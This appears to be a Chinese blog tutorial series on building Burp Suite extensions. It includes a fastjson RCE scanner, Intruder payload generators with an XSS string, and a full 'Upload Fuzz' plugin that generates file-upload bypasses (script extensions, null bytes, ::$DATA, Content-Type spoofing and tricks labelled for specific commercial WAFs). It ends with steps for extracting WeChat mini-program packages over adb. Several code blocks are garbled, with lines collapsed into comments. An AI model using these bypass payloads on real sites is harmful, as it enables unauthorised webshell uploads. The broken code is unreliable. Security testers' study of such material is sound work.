resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring() # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
# resStatusCode = analyzedIResponseInfo.getStatusCode() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
return resHeaders, resBodys

# 获取服务端的信息,主机地址,端口,协议
def get_server_info(self, httpService):
host = httpService.getHost()
port = httpService.getPort()
protocol = httpService.getProtocol()
ishttps = False
if protocol == 'https':
ishttps = True
return host, port, protocol, ishttps

# 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
def get_parameter_Name_Value_Type(self, parameter):
parameterName = parameter.getName()
parameterValue = parameter.getValue()
parameterType = parameter.getType()
return parameterName, parameterValue, parameterType

# 开始检测
def start_run(self, baseRequestResponse):
self.baseRequestResponse = baseRequestResponse

​ # 获取请求包的数据
​ request = self.baseRequestResponse.getRequest()
​ analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(request)
​ reqContentType = analyzedRequest.getContentType() # 获取请求格式,例如json

​ if reqContentType == 4: # json格式数据

​ # 获取服务信息
​ httpService = self.baseRequestResponse.getHttpService()

​ newBodyPayload = '{"age":25, "name":"Bob""}'
​ newBody = self._helpers.stringToBytes(newBodyPayload) # 将字符串转换为字节 https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#stringToBytes(java.lang.String)
​ newRequest = self._helpers.buildHttpMessage(reqHeaders, newBody) # 重构json格式的数据不能用buildParameter,要用buildHttpMessage替换整个body重构http消息。https://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html#buildHttpMessage(java.util.List,%20byte[])
​ newIHttpRequestResponse = self._callbacks.makeHttpRequest(httpService, newRequest) # 发送数据
​ response = newIHttpRequestResponse.getResponse() # 获取响应包
​ analyzedIResponseInfo = self._helpers.analyzeRequest(response) # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
​ resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
​ newUrl = self._helpers.analyzeRequest(newIHttpRequestResponse).getUrl()

​ print resBodys

​ if 'fastjson' in resBodys:
​ print '[+] {}'.format(newUrl)
​ self.save(newUrl)
​ self.issues.append(CustomScanIssue(
​ newIHttpRequestResponse.getHttpService(),
​ newUrl,
​ [newIHttpRequestResponse],
​ "FastJson RCE",
​ "fastjson",
​ "High"))
​ else:
​ print '[-] {}'.format(newUrl)

def doPassiveScan(self, baseRequestResponse):
'''
:param baseRequestResponse: IHttpRequestResponse
:return:
'''
self.issues = []
self.start_run(baseRequestResponse)
return self.issues

def consolidateDuplicateIssues(self, existingIssue, newIssue):
'''
相同的数据包,只报告一份报告
:param existingIssue:
:param newIssue:
:return:
'''


if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
return -1

​ return 0

class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
'''

​ :param httpService: HTTP服务
​ :param url: 漏洞url
​ :param httpMessages: HTTP消息
​ :param name: 漏洞名
​ :param detail: 漏洞细节
​ :param severity: 漏洞等级
​ '''
​ self._httpService = httpService
​ self._url = url
​ self._httpMessages = httpMessages
​ self._name = name
​ self._detail = detail
​ self._severity = severity

def getUrl(self):
return self._url

def getIssueName(self):
return self._name

def getIssueType(self):
return 0

def getSeverity(self):
return self._severity

def getConfidence(self):
return "Certain"

def getIssueBackground(self):
pass

def getRemediationBackground(self):
pass

def getIssueDetail(self):
return self._detail

def getRemediationDetail(self):
pass

def getHttpMessages(self):
return self._httpMessages

def getHttpService(self):
return self._httpService

效果如下:

当正常发送数据包时,响应包没报错

图片

再来看看插件的情况,可以看到响应包里出现了fastjon字符串,说明payload检测出了该漏洞

图片

这里demo用的是写死的payload,自己写的时候根据自己的需求将payload请求的地址改为dnslog的地址。

Burp Extender Apis 插件开发 (第七课)

Burp Extender Apis 插件开发 (第八课)

0x01 前言

通过前面课程的学习,已经能够编写注入检测插件,fastjson检测插件。接下来开始尝试编写上传FUZZ插件,这里主要用的模块是Intruder!

我们先通过intruder的官方例子来学习

https://xxx.com/PortSwigger/example-intruder-payloads/blob/44ef0ce70fe53c0b195bb514e38e8a36efbe43b6/python/IntruderPayloads.py

代码后面再讲解,先加载该脚本,看看是怎么样的一个功能,这样后面看代码理解的也更快。

先加载py脚本,加载完后到Intruder模块里,对一个数据包设置多个变量参数

图片

payloads选择Extension-generated

图片

select generator的下拉框选择py脚本里设置的名字

图片

这里记住,如果你脚本里的payload有特殊字符,一定要取消url编码

图片

start attack后的效果如下,每一个变量参数都会使用py脚本里填写的参数

图片

图片

看完官方给的例子演示过程,然后学习所用到的api。这节课先简单学习IIntruderPayloadGeneratorFactory类

0x02 IIntruderPayloadGeneratorFactory

扩展程序可以实现此接口,然后调用 IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() 以注册自定义Intruder负载的工厂。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html

图片

该类有两个方法:getGeneratorName, createNewInstance

0x03 getGeneratorName

Burp使用此方法来获取有效负载生成器的名称。当用户选择使用扩展生成的有效内容时,这将作为选项显示在Intruder UI中。

返回值:有效负载生成器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html#getGeneratorName()

图片

示例代码如下:

1
def getGeneratorName(self):   return "My custom payloads"

其实就是设置payload生成器名字,作为选项显示在Intruder UI中。

效果如下:

图片

0x04 createNewInstance

用户启动使用此有效负载生成器的入侵者攻击时,Burp将使用此方法。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGeneratorFactory.html#createNewInstance(burp.IIntruderAttack)

图片

示例代码如下:

1
2
def createNewInstance(self, attack):
# return a new IIntruderPayloadGenerator to generate payloads for this attack return IntruderPayloadGenerator()

其实就是创建payload生成器实例,传入的attack是IIntruderAttack的实例,返回的是IntruderPayloadGenerator的实例

这节课讲到了createNewInstance方法返回了实例IntruderPayloadGenerator,下节课介绍IntruderPayloadGenerator类:实现Intruder功能的各个方法讲解,并且实现一个简单的Demo。

Burp Extender Apis 插件开发 (第九课)

0x01 前言

上节课讲到createNewInstance方法返回了实例IntruderPayloadGenerator,这节课主要学习IntruderPayloadGenerator类,IIntruderPayloadProcessor类

0x02 IIntruderPayloadGenerator

此接口用于自定义的Intruder有效负载生成器。IIntruderPayloadGeneratorFactory作为新的Intruder攻击的一部分,需要时,已注册的扩展 必须返回此接口的新实例。

官方api:[https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html]
(https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html)

图片

首先得定义一个类,继承IIntruderPayloadGenerator类,然后定义__init__方法,_payloadIndex变量是每个具体的攻击载荷的下标。例如我们设置的攻击载荷PAYLOADS是一个列表,那么_payloadIndex就是每个具体的攻击载荷的下标。

1
2
class IntruderPayloadGenerator(IIntruderPayloadGenerator):
def __init__(self): self._payloadIndex = 0

该类有三个方法:hasMorePayloads, getNextPayload, reset

0x03 hasMorePayloads

Burp使用此方法来获取有效负载生成器的名称。当用户选择使用扩展生成的有效内容时,这将作为选项显示在Intruder UI中。

返回值:有效负载生成器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#hasMorePayloads()

图片

示例代码如下:

1
2
3
def hasMorePayloads(self):
print "hasMorePayloads called."
return self._payloadIndex < len(PAYLOADS)

其实hasMorePayloads方法就是返回一个布尔值,如果_payloadIndex的值比PAYLOADS的个数小,说明没有加载完所有payload,那么就返回true,然后继续返回下一个payload。否则就结束,不再返回下一个payload。

0x04 getNextPayload

Burp使用此方法来获取下一个有效负载的值。

返回值:攻击中使用的下一个有效负载。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#getNextPayload(byte[])

图片

示例代码如下:

1
2
3
4
5
def getNextPayload(self, baseValue):
payload = "".join(chr(x) for x in baseValue) # 通过该行代码将array('b', [106, 112, 103])转换为jpg字符串
attackPayload = payload + "'" # 设置攻击payload
print 'attackPayload: {}'.format(attackPayload) self._payloadIndex += 1
return attackPayload

baseValue就是再Intruder模块里设置的变量的值。

这里举个例子:假设我们再数据包里将jpg这个字符串设置为变量,那么baseVul的值是十进制数组:array(‘b’, [106, 112, 103])。那么我们首先要把baseVul的值还原为字符串,所以用””.join(chr(x) for x in baseValue)这行代码还原成jpg字符串。

然后接下来就是要生成新的payload了,比如在jpg后面添加payload,或者直接替换jpg字符串等等,然后赋值给新的变量attackPayload。

接着_payloadIndex的值递增1,然后return返回attackPayload变量即可。

0x05 reset

Burp使用此方法重置有效负载生成器的状态,以便下一次调用 getNextPayload()再次返回第一个有效负载。当攻击将同一个有效载荷生成器用于多个有效载荷位置时,例如在狙击攻击中,将调用此方法。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadGenerator.html#reset()

图片

1
2
3
def reset(self):
print "reset called."
self._payloadIndex = 0

其实就是把_payloadIndex这个变量下标清零。那么当我们使用Intruder模块设置了两个变量的时候,PAYLOADS里的所有攻击载荷就会应用到第二个变量里。

通过IntruderPayloadGenerator学习了如何遍历我们自己定义的payloads,那么如果我们要想对我们的payloads进行各种处理,例如编码,加密,解密等等。那么这时候就要用到IIntruderPayloadProcessor类。

0x06 IIntruderPayloadProcessor

简单来说就是对payload进行编码,加密等各种处理。

扩展可以实现此接口,然后调用 IBurpExtenderCallbacks.registerIntruderPayloadProcessor()以注册自定义的Intruder有效负载处理器。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html

图片

该类有两个方法:getProcessorName,processPayload

0x07 getProcessorName

Burp使用此方法来获取有效负载处理器的名称。当用户选择使用扩展提供的有效负载处理器时,这将在Intruder UI中作为选项显示。

返回值:有效负载处理器的名称。

官方api:https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html#getProcessorName()

图片

示例代码如下:

1
def getProcessorName(self):   return "Serialized input wrapper"

效果如下

图片

0x08 processPayload

每次将处理器应用于入侵者有效负载时,Burp都会调用此方法。

参数:

1
currentPayload -要处理的有效载荷的值。originalPayload -在通过任何已经应用的处理规则进行处理之前,原始有效负载的值。baseValue -有效负载位置的基值,它将用当前有效负载替换。

返回值:

1
已处理的有效负载的值。这可能 null表明当前的有效负载应被跳过,攻击将直接移至下一个有效负载。

官方api:
https://portswigger.net/burp/extender/api/burp/IIntruderPayloadProcessor.html#processPayload(byte[],%20byte[],%20byte[])

图片

示例代码如下:

1
2
def processPayload(self, currentPayload, originalPayload, baseValue):
payload = "".join(chr(x) for x in currentPayload) return self._helpers.stringToBytes( self._helpers.urlEncode(self._helpers.base64Encode(payload)))

这段代码同样关键,是对payload进行处理,例如编码,加密,解密。根据自己的需求,对currentPayload, originalPayload, baseValue这三个变量进行处理。

0x09 简单的demo代码

示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadProcessor
from burp import IIntruderPayloadGenerator# hard-coded payloads# [in reality, you would use an extension for something cleverer than this]PAYLOADS = [
bytearray("|"),
bytearray("<script>alert(1)</script>")
]class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor):

#
# implement IBurpExtender
#

def registerExtenderCallbacks(self, callbacks): # obtain an extension helpers object
self._helpers = callbacks.getHelpers() # set our extension name
callbacks.setExtensionName("Custom intruder payloads") # register ourselves as an Intruder payload generator
callbacks.registerIntruderPayloadGeneratorFactory(self) # register ourselves as an Intruder payload processor
callbacks.registerIntruderPayloadProcessor(self) #
# implement IIntruderPayloadGeneratorFactory
#

def getGeneratorName(self): return "My custom payloads"

def createNewInstance(self, attack): # return a new IIntruderPayloadGenerator to generate payloads for this attack
return IntruderPayloadGenerator() #
# implement IIntruderPayloadProcessor
#

def getProcessorName(self): return "originalPayload base64 and url encode"

def processPayload(self, currentPayload, originalPayload, baseValue):
payload = "".join(chr(x) for x in originalPayload) return self._helpers.stringToBytes( self._helpers.urlEncode(self._helpers.base64Encode(payload)))## class to generate payloads from a simple list#class IntruderPayloadGenerator(IIntruderPayloadGenerator):
def __init__(self): self._payloadIndex = 0

def hasMorePayloads(self): return self._payloadIndex < len(PAYLOADS) def getNextPayload(self, baseValue):
payload = PAYLOADS[self._payloadIndex] self._payloadIndex = self._payloadIndex + 1

​ return payload def reset(self): self._payloadIndex = 0

效果如下:

图片

图片

图片

对a-z这几个payload先base64编码,再url编码。

下节课分享最近开发的Upload Fuzz插件,涵盖各种绕过姿势。

Burp Extender Apis 插件开发 (第十课)

0x01 前言

基于前两节课的学习,已经能够使用api完成简单的Intruder模块的demo,那么只需要增加一个方法生成payloads,然后从payloads取出payload即可。
这里分享最近开发的插件,涵盖了各种绕过姿势,以及以前能够过waf的方法(现在可能不适用了,但仍然也是一种思路)
现在来讲解生成payloads的方法。
其实很多情况都是对下面两行做修改,fuzz

1
2
Content-Disposition: form-data; name="upload_file"; filename="zc.jpg"
Content-Type: image/jpeg

那么插件的思路就是将这两行设置为一个变量,然后让插件对这两行数据进行清洗,生成各种上传绕过的新的payload,再让burpsuite发送。

绕过方法如下:

图片

图片

图片

然后还有一个地方要注意的就是getNextPayload方法获取下一个payload,因为我们是根据我们设置的那两行变量为模板进行PAYLOADS生成,所以我们得做个条件判断,只有当self._payloadIndex == 0时才会去生成PAYLOADS,否则就是已经生成了PAYLOADS,只需要取下一个值就可以。

1
2
3
4
5
6
7
8
9
# 获取下一个payload,然后intruder就会用该payload发送请求
def getNextPayload(self, baseValue):
# print 'getNextPayload called'
TEMPLATE = "".join(chr(x) for x in baseValue)
if self._payloadIndex == 0:
self.attackPayloads = getAttackPayloads(TEMPLATE)
payload = self.attackPayloads[self._payloadIndex]
self._payloadIndex = self._payloadIndex + 1
return payload

0x02 Upload Fuzz检测插件

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
# -*-coding:utf-8 -*-

from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator
import random
from urllib import unquote
import re

def getAttackPayloads(TEMPLATE):
# 获取文件前后缀
filename_suffix = re.search('filename=".*[.](.*)"', TEMPLATE).group(1) # jpg
content_type = TEMPLATE.split('\n')[-1]

def script_suffix_Fuzz():
# 文件后缀绕过
asp_fuzz = ['asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(unquote('%00')), 'asp .jpg',
'asp_.jpg', 'asa', 'cer', 'cdx', 'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg']
aspx_fuzz = ['asPx', 'aspx .jpg', 'aspx_.jpg', 'aspx;+2.jpg', 'asaspxpx']
php_fuzz = ['php1', 'php2', 'php3', 'php4', 'php5', 'pHp', 'php .jpg', 'php_.jpg', 'php.jpg', 'php. .jpg',
'jpg/.php',
'php.123', 'jpg/php', 'jpg/1.php', 'jpg{}.php'.format(unquote('%00')),
'php{}.jpg'.format(unquote('%00')),
'php:1.jpg', 'php::$DATA', 'php::$DATA......', 'ph\np']
jsp_fuzz = ['.jsp.jpg.jsp', 'jspa', 'jsps', 'jspx', 'jspf', 'jsp .jpg', 'jsp_.jpg']
suffix_fuzz = asp_fuzz + aspx_fuzz + php_fuzz + jsp_fuzz

suffix_payload = [] # 保存文件后缀绕过的所有payload列表

for each_suffix in suffix_fuzz:
# 测试每个上传后缀
TEMP_TEMPLATE = TEMPLATE
temp = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
suffix_payload.append(temp)

return suffix_payload

def CFF_Fuzz():
# Content-Disposition 绕过 form-data 绕过 filename 绕过
# Content-Disposition: form-data; name="uploaded"; filename="zc.jpg"
Suffix = ['php', 'asp', 'aspx', 'jsp', 'asmx', 'xml', 'html', 'shtml', 'svg', 'swf', 'htaccess'] # 需要测试的能上传的文件类型
# Suffix = ['jsp']
Content_Disposition_payload = [] # 保存Content_Disposition绕过的所有payload列表

# 遍历每个需要测试的上传后缀
for each_suffix in Suffix:
# 测试每个上传后缀
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix,
each_suffix) # TEMP_TEMPLATE_SUFFIX: Content-Disposition: form-data; name="uploaded"; filename="zc.后缀"
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX)
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition', 'content-Disposition')) # 改变大小写
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition:')) # 减少一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: ', 'content-Disposition: ')) # 增加一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '~form-data'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f+orm-data'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data', '*'))
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data; ')) # 增加一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;')) # 减少一个空格
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename===zc.{}'.format(
each_suffix))) # 过阿里云waf,删双引号绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename==="zc.{}'.format(
each_suffix))) # 过阿里云waf,少双引号绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename==="zc.{}"'.format(
each_suffix))) # 过阿里云waf,三个等号
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.{}\n"'.format(
each_suffix))) # 过阿里云waf,回车
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'\nfilename==="zc.\n{}"'.format(
each_suffix))) # 过阿里云waf, 三个等号加回车
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.\nC.{}"'.format(
each_suffix))) # 过安全狗和云锁waf # 待定,因为没法删掉Content-Type
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(
TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total, 'filename\n="zc.{}"'.format(each_suffix))) # 过百度云waf

TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc\.{}"'.format(
each_suffix))) # 过硬waf,反斜杠绕过
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename===zczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczczc.{}'.format(
each_suffix))) # 过硬waf,超长文件名
TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace('form-data',
'form-data------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------')) # 过硬waf,超长-

TEMP_TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE_SUFFIX
Content_Disposition_payload.append(TEMP_TEMP_TEMPLATE_SUFFIX.replace(filename_total,
'filename="zc.jpg";filename="zc.{}"'.format(
each_suffix))) # 双参数

return Content_Disposition_payload

def content_type_Fuzz():
# content_type = Content-Type: image/jpeg
content_type_payload = [] # 保存content_type绕过的所有payload列表
Suffix = ['asp', 'aspx', 'php', 'jsp']
# 遍历每个需要测试的上传后缀
for each_suffix in Suffix:
TEMP_TEMPLATE = TEMPLATE
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/gif')) # 修改为image/gif
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: image/jpeg')) # 修改为image/jpeg
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: application/php')) # 修改为image/jpeg
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, 'Content-Type: text/plain')) # 修改为text/plain
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace(content_type, ''))
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type', 'content-type')) # 改变大小写
TEMP_TEMPLATE_CONTENT_TYPE = TEMP_TEMPLATE_SUFFIX
content_type_payload.append(
TEMP_TEMPLATE_CONTENT_TYPE.replace('Content-Type: ', 'Content-Type: ')) # 冒号后面 增加一个空格

return content_type_payload

suffix_payload = script_suffix_Fuzz()
Content_Disposition_payload = CFF_Fuzz()
content_type_payload = content_type_Fuzz()

attackPayloads = suffix_payload + Content_Disposition_payload + content_type_payload

return attackPayloads

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("upload fuzz intruder")
# 注册payload生成器
callbacks.registerIntruderPayloadGeneratorFactory(self)
print 'Load successful - auther:ske\n'

# 设置payload生成器名字,作为选项显示在Intruder UI中。
def getGeneratorName(self):
return "upload fuzz intruder"

# 创建payload生成器实例,传入的attack是IIntruderAttack的实例
def createNewInstance(self, attack):
return demoFuzzer(self, attack)

def getProcessorName(self):
return "upload fuzz"

def processPayload(self, currentPayload, originalPayload, baseValue):
# print 'processPayload called'
payload = "".join(chr(x) for x in baseValue) # 通过该行代码将array('b', [106, 112, 103])转换为jpg字符串
attackPayload = payload + currentPayload
return attackPayload

# 继承IIntruderPayloadGenerator类
class demoFuzzer(IIntruderPayloadGenerator):
def __init__(self, extender, attack):
self._extender = extender
self._helpers = extender._helpers
self._attack = attack
self.num_payloads = 0 # payload使用了的次数
self._payloadIndex = 0
self.attackPayloads = [1] # 存储生成的fuzz payloads

# hasMorePayloads返回一个bool值,如果返回false就不在继续返回下一个payload,如果返回true就返回下一个payload
def hasMorePayloads(self):
# print "hasMorePayloads called."
return self._payloadIndex < len(self.attackPayloads)

# 获取下一个payload,然后intruder就会用该payload发送请求
def getNextPayload(self, baseValue):
# print 'getNextPayload called'
TEMPLATE = "".join(chr(x) for x in baseValue)
if self._payloadIndex == 0:
self.attackPayloads = getAttackPayloads(TEMPLATE)

payload = self.attackPayloads[self._payloadIndex]
self._payloadIndex = self._payloadIndex + 1

return payload

# 清空,以便下一次调用 getNextPayload()再次返回第一个有效负载。
def reset(self):
# print "reset called."
self.num_payloads = 0
return

效果如下:

加载py脚本

图片

必须要按照下图格式设置变量

图片

图片

图片

图片

图片

图片

当你学到这里的时候,恭喜你以后遇到上传点,不需要绞尽脑汁的去想各种绕过姿势,只需要不断的完善插件payloads生成,以后上传漏洞就交给插件完成即可。

tips:因国外网站访问速度慢,本文涉及工具除了原工具链接,文末会有作者直接提供下载链接

微信小程序反编译解包

0x01 使用环境\工具

nodejs:https://nodejs.org/zh-cn/download/

反编译脚本wxappUnpacker:https://github.com/xuedingmiaojun/wxappUnpacker

微信开发者工具:https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html

安装说明:安装nodejs一直点下一步,完成后输入node –version及npm –version查看是否可用,有些安装完后没有环境变量,在环境变量中path增加上nodejs安装目录即可。微信开发者工具安装一直点下一步即可。

0x02 提取小程序包

使用模拟器或者安卓手机都可以,ios跟pc也行,此处以模拟器为例。

模拟器\手机环境需求:

​ 手机root

​ 微信

​ 文件管理器(例如:re文件管理器、MT管理器

​ adb(可选)

开始提取

  1. 为了避免其他小程序包太多,先进文件管理器把小程序删完。

    文件管理器操作:

    1
    2
    3
    {user}是微信根据用户生成的一个目录,选择最新的基本上就是当前用户的,如果不确定把所有用户里面的小程序都删了。
    pkg目录下就是微信小程序包,后缀为.wxapkg
    /data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg
    image-20210317134605263

    adb操作(手机使用adb,夜神模拟器使用nox_adb)

    1
    adb shell ls -l /data/data/com.tencent.mm/MicroMsg/
    image-20210317135123331

    根据时间确定{user}目录

    1
    2
    adb shell ls /data/data/com.tencent.mm/MicroMsg/90db3beb9eb32391e0b5ed11130ab8d1/appbrand/pkg/
    #查看当前用户目录下exapkg包
    1
    2
    adb shell rm -f /data/data/com.tencent.mm/MicroMsg/90db3beb9eb32391e0b5ed11130ab8d1/appbrand/pkg/*
    #删除小程序目录下所有文件
  2. 删除完后在微信打开小程序,第一次打开会下载小程序包,比较慢,加载完成后就可以退出了。

  3. 用文件管理器器或者adb打开看,现在目录下就两个包,微信小程序包大小不能太大,所以会分包,有多个包。

    image-20210317134004302
  4. 将wxapkg包导出到pc

    4.1 可以使用夜神自带的模拟器与PC文件传输

    image-20210317135558308

    4.2 可以使用微信发给PC

    4.3 使用adb发送到PC

    1
    2
    3
    4
    5
    6
    D:\>adb shell ls /data/data/com.tencent.mm/MicroMsg/90db3bee0b5ed1ab8d1/appbrand/pkg/
    _-473291355_113.wxapkg
    _1123949441_509.wxapkg
    #查看包名
    D:\>adb pull /data/data/com.tencent.mm/MicroMsg/90db3beb9eb32391e0b5ed11130ab8d1/appbrand/pkg/ D:\tmp
    #将整个pkg目录发送到PC的D:\tmp

wxappUnpacker才是我们本文的主角,开始配置他的环境了。

0x03 安装

1
npm install

0x04 安装依赖

1
2
3
4
5
6
7
8
9
10
11
npm install esprima

npm install css-tree

npm install cssbeautify

npm install vm2

npm install uglify-es

npm install js-beautify

0x05 工具说明

  • node wuConfig.js <files…> 将 app-config.json 中的内容拆分到各个文件对应的 .json 和 app.json , 并通过搜索 app-config.json 所在文件夹下的所有文件尝试将 iconData 还原为 iconPath 。
